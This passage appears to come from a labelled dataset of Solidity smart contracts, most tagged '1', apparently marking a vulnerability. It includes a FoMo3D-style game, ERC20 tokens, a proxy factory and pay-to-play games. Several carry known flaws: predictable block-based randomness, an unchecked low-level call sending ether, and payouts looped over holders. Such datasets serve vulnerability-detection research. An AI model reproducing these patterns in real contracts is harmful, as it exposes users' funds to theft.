(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin, "only admin can activate");
require(activated_ == false, "FOMO Short already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 1 | 3,299 |
pragma solidity ^0.4.18;
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract XEPToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint128 constant RATE = 17500;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
function XEPToken() public {
symbol = "XEP";
name = "ephelants360 Token";
decimals = 18;
_totalSupply = 7000000000000000000000000000;
balances[0xd4e84d2fD4BD67bB3Dc55a9212bA7C1884D62feE] = _totalSupply;
Transfer(address(0), 0xd4e84d2fD4BD67bB3Dc55a9212bA7C1884D62feE, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | 1 | 3,519 |
pragma solidity ^0.4.25;
contract Token {
function totalSupply() constant returns (uint256 supply) {}
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {}
function approve(address _spender, uint256 _value) returns (bool success) {}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract StandardToken is Token {
function transfer(address _to, uint256 _value) returns (bool success) {
if (balances[msg.sender] >= _value && _value > 0) {
balances[msg.sender] -= _value;
balances[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
} else { return false; }
}
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {
if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) {
balances[_to] += _value;
balances[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
} else { return false; }
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function approve(address _spender, uint256 _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
uint256 public totalSupply;
}
contract ARODEX is StandardToken {
string public name;
uint8 public decimals;
string public symbol;
string public version = 'ARXO1.0';
uint256 public unitsOneEthCanBuy;
uint256 public totalEthInWei;
address public fundsWallet;
function ARODEX() {
balances[msg.sender] = 15000000000000000000000000000;
totalSupply = 15000000000000000000000000000;
name = "ARODEX";
decimals = 18;
symbol = "ARXO";
unitsOneEthCanBuy = 100000000;
fundsWallet = msg.sender;
}
function() payable{
totalEthInWei = totalEthInWei + msg.value;
uint256 amount = msg.value * unitsOneEthCanBuy;
require(balances[fundsWallet] >= amount);
balances[fundsWallet] = balances[fundsWallet] - amount;
balances[msg.sender] = balances[msg.sender] + amount;
Transfer(fundsWallet, msg.sender, amount);
fundsWallet.transfer(msg.value);
}
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; }
return true;
}
} | 1 | 4,596 |
pragma solidity 0.4.24;
contract Proxy {
address masterCopy;
constructor(address _masterCopy)
public
{
require(_masterCopy != 0, "Invalid master copy address provided");
masterCopy = _masterCopy;
}
function ()
external
payable
{
assembly {
let masterCopy := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas, masterCopy, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) { revert(0, returndatasize()) }
return(0, returndatasize())
}
}
function implementation()
public
view
returns (address)
{
return masterCopy;
}
function proxyType()
public
pure
returns (uint256)
{
return 2;
}
}
contract ProxyFactory {
event ProxyCreation(Proxy proxy);
function createProxy(address masterCopy, bytes data)
public
returns (Proxy proxy)
{
proxy = new Proxy(masterCopy);
if (data.length > 0)
assembly {
if eq(call(gas, proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) { revert(0, 0) }
}
emit ProxyCreation(proxy);
}
} | 1 | 3,339 |
pragma solidity ^0.4.19;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BlockMarket is Ownable {
struct Stock {
string name;
uint256 priceIncrease;
uint256 dividendAmount;
uint256 lastAction;
uint256 dividendsPaid;
}
struct Share {
address holder;
uint256 purchasePrice;
}
Stock[] public stocks;
Share[] public shares;
mapping (uint256 => uint256[]) public stockShares;
event CompanyListed(string company, uint256 basePrice);
event DividendPaid(address shareholder, uint256 amount);
event ShareSold(
uint256 stockId,
uint256 shareId,
uint256 oldPrice,
uint256 newPrice,
address oldOwner,
address newOwner
);
function () payable public { }
function addStock(
string _name,
uint256 _initialPrice,
uint256 _priceIncrease,
uint256 _dividendAmount,
uint8 _numShares
) public onlyOwner returns (uint256 stockId) {
stockId = stocks.length;
stocks.push(
Stock(
_name,
_priceIncrease == 0 ? 130 : _priceIncrease,
_dividendAmount == 0 ? 110 : _dividendAmount,
block.timestamp,
0
)
);
for(uint8 i = 0; i < _numShares; i++) {
stockShares[stockId].push(shares.length);
shares.push(Share(owner, _initialPrice));
}
CompanyListed(_name, _initialPrice);
}
function purchase(uint256 _stockId, uint256 _shareId) public payable {
require(_stockId < stocks.length && _shareId < shares.length);
Stock storage stock = stocks[_stockId];
uint256[] storage sharesForStock = stockShares[_stockId];
Share storage share = shares[sharesForStock[_shareId]];
address previousHolder = share.holder;
uint256 currentPrice = getPurchasePrice(
share.purchasePrice,
stock.priceIncrease
);
require(msg.value >= currentPrice);
if (msg.value > currentPrice) {
msg.sender.transfer(SafeMath.sub(msg.value, currentPrice));
}
uint256 dividendPerRecipient = getDividendPayout(
currentPrice,
stock.dividendAmount,
sharesForStock.length - 1
);
uint256 previousHolderShare = SafeMath.sub(
currentPrice,
SafeMath.mul(dividendPerRecipient, sharesForStock.length - 1)
);
uint256 fee = SafeMath.div(previousHolderShare, 40);
owner.transfer(fee);
previousHolder.transfer(SafeMath.sub(previousHolderShare, fee));
for(uint8 i = 0; i < sharesForStock.length; i++) {
if (i != _shareId) {
shares[sharesForStock[i]].holder.transfer(dividendPerRecipient);
stock.dividendsPaid = SafeMath.add(stock.dividendsPaid, dividendPerRecipient);
DividendPaid(
shares[sharesForStock[i]].holder,
dividendPerRecipient
);
}
}
ShareSold(
_stockId,
_shareId,
share.purchasePrice,
currentPrice,
share.holder,
msg.sender
);
share.holder = msg.sender;
share.purchasePrice = currentPrice;
stock.lastAction = block.timestamp;
}
function getCurrentPrice(
uint256 _stockId,
uint256 _shareId
) public view returns (uint256 currentPrice) {
require(_stockId < stocks.length && _shareId < shares.length);
currentPrice = SafeMath.div(
SafeMath.mul(stocks[_stockId].priceIncrease, shares[_shareId].purchasePrice),
100
);
}
function getPurchasePrice(
uint256 _currentPrice,
uint256 _priceIncrease
) internal pure returns (uint256 currentPrice) {
currentPrice = SafeMath.div(
SafeMath.mul(_currentPrice, _priceIncrease),
100
);
}
function getDividendPayout(
uint256 _purchasePrice,
uint256 _stockDividend,
uint256 _numDividends
) public pure returns (uint256 dividend) {
uint256 dividendPerRecipient = SafeMath.sub(
SafeMath.div(SafeMath.mul(_purchasePrice, _stockDividend), 100),
_purchasePrice
);
dividend = SafeMath.div(dividendPerRecipient, _numDividends);
}
function getStockCount() public view returns (uint256) {
return stocks.length;
}
function getStockShares(uint256 _stockId) public view returns (uint256[]) {
return stockShares[_stockId];
}
function withdraw(uint256 _amount, address _destination) public onlyOwner {
require(_destination != address(0));
require(_amount <= this.balance);
_destination.transfer(_amount == 0 ? this.balance : _amount);
}
} | 1 | 5,194 |
pragma solidity ^0.4.11;
contract ERC20 {
function transfer(address _to, uint _value) returns (bool success);
function transferFrom(address _from, address _to, uint _value) returns (bool success);
}
contract TimeBankToken {
struct tokenDeposit{
uint256 timeToWithdraw;
uint256 numTokens;
}
mapping (address => mapping(address => tokenDeposit)) tokenBalances;
function getInfo(address _tokenAddress, address _holder) constant returns(uint, uint, uint){
return(tokenBalances[_tokenAddress][_holder].timeToWithdraw,tokenBalances[_tokenAddress][_holder].numTokens, block.timestamp);
}
function depositTokens(ERC20 _token, uint256 _time, uint256 _amount) returns (bool){
require(_amount > 0 && _time > block.timestamp && _time < block.timestamp + 157680000);
if (!(tokenBalances[_token][msg.sender].timeToWithdraw > 0)) tokenBalances[_token][msg.sender].timeToWithdraw = _time;
tokenBalances[_token][msg.sender].numTokens += _amount;
require(_token.transferFrom(msg.sender, this, _amount));
return true;
}
function withdrawTokens(ERC20 _token) returns (bool){
uint tokens = tokenBalances[_token][msg.sender].numTokens;
tokenBalances[_token][msg.sender].numTokens = 0;
require(tokenBalances[_token][msg.sender].timeToWithdraw < block.timestamp && tokens > 0);
tokenBalances[_token][msg.sender].timeToWithdraw = 0;
require(_token.transfer(msg.sender, tokens));
return true;
}
} | 1 | 4,865 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
pendingOwner = newOwner;
}
function claimOwnership() onlyPendingOwner public {
OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeERC20 {
function safeTransfer(ERC20Basic token, address to, uint256 value) internal {
assert(token.transfer(to, value));
}
function safeTransferFrom(ERC20 token, address from, address to, uint256 value) internal {
assert(token.transferFrom(from, to, value));
}
function safeApprove(ERC20 token, address spender, uint256 value) internal {
assert(token.approve(spender, value));
}
}
contract CanReclaimToken is Ownable {
using SafeERC20 for ERC20Basic;
function reclaimToken(ERC20Basic token) external onlyOwner {
uint256 balance = token.balanceOf(this);
token.safeTransfer(owner, balance);
}
}
contract ChronosAccessControl is Claimable, Pausable, CanReclaimToken {
address public cfoAddress;
function ChronosAccessControl() public {
cfoAddress = msg.sender;
}
modifier onlyCFO() {
require(msg.sender == cfoAddress);
_;
}
function setCFO(address _newCFO) external onlyOwner {
require(_newCFO != address(0));
cfoAddress = _newCFO;
}
}
contract ChronosBase is ChronosAccessControl {
using SafeMath for uint256;
bool public gameStarted;
address public gameStarter;
address public lastPlayer;
uint256 public lastPlayTimestamp;
uint256 public timeout = 120;
uint256 public wagerIndex = 0;
}
contract PullPayment {
using SafeMath for uint256;
mapping(address => uint256) public payments;
uint256 public totalPayments;
function withdrawPayments() public {
address payee = msg.sender;
uint256 payment = payments[payee];
require(payment != 0);
require(this.balance >= payment);
totalPayments = totalPayments.sub(payment);
payments[payee] = 0;
assert(payee.send(payment));
}
function asyncSend(address dest, uint256 amount) internal {
payments[dest] = payments[dest].add(amount);
totalPayments = totalPayments.add(amount);
}
}
contract ChronosFinance is ChronosBase, PullPayment {
uint256 public feePercentage = 2500;
uint256 public gameStarterDividendPercentage = 1000;
uint256 public price = 0.005 ether;
uint256 public prizePool;
uint256 public wagerPool;
function _sendFunds(address beneficiary, uint256 amount) internal {
if (!beneficiary.send(amount)) {
asyncSend(beneficiary, amount);
}
}
function withdrawFreeBalance() external onlyCFO {
uint256 freeBalance = this.balance.sub(totalPayments).sub(prizePool).sub(wagerPool);
cfoAddress.transfer(freeBalance);
}
}
contract ChronosCore is ChronosFinance {
function ChronosCore(uint256 _price, uint256 _timeout) public {
price = _price;
timeout = _timeout;
}
event Start(address indexed starter, uint256 timestamp);
event End(address indexed winner, uint256 timestamp, uint256 prize);
event Play(address indexed player, uint256 timestamp, uint256 timeoutTimestamp, uint256 wagerIndex, uint256 newPrizePool);
function play(bool startNewGameIfIdle) external payable {
_processGameEnd();
require(msg.value >= price);
if (!gameStarted) {
require(!paused);
require(startNewGameIfIdle);
gameStarted = true;
gameStarter = msg.sender;
Start(msg.sender, block.timestamp);
}
uint256 fee = price.mul(feePercentage).div(100000);
uint256 dividend = price.mul(gameStarterDividendPercentage).div(100000);
uint256 wagerPoolPart = price.mul(2).div(7);
lastPlayer = msg.sender;
lastPlayTimestamp = block.timestamp;
prizePool = prizePool.add(price.sub(fee).sub(dividend).sub(wagerPoolPart));
Play(msg.sender, block.timestamp, block.timestamp + timeout, wagerIndex, prizePool);
_sendFunds(gameStarter, dividend);
if (wagerIndex > 0 && (wagerIndex % 7) == 0) {
msg.sender.transfer(wagerPool);
wagerPool = 0;
}
wagerPool = wagerPool.add(wagerPoolPart);
wagerIndex = wagerIndex.add(1);
uint256 excess = msg.value - price;
if (excess > 0) {
msg.sender.transfer(excess);
}
}
function endGame() external {
require(_processGameEnd());
}
function _processGameEnd() internal returns(bool) {
if (!gameStarted) {
return false;
}
if (block.timestamp <= lastPlayTimestamp + timeout) {
return false;
}
_sendFunds(lastPlayer, prizePool);
End(lastPlayer, lastPlayTimestamp, prizePool);
gameStarted = false;
gameStarter = 0x0;
lastPlayer = 0x0;
lastPlayTimestamp = 0;
wagerIndex = 0;
prizePool = 0;
wagerPool = 0;
return true;
}
} | 0 | 755 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
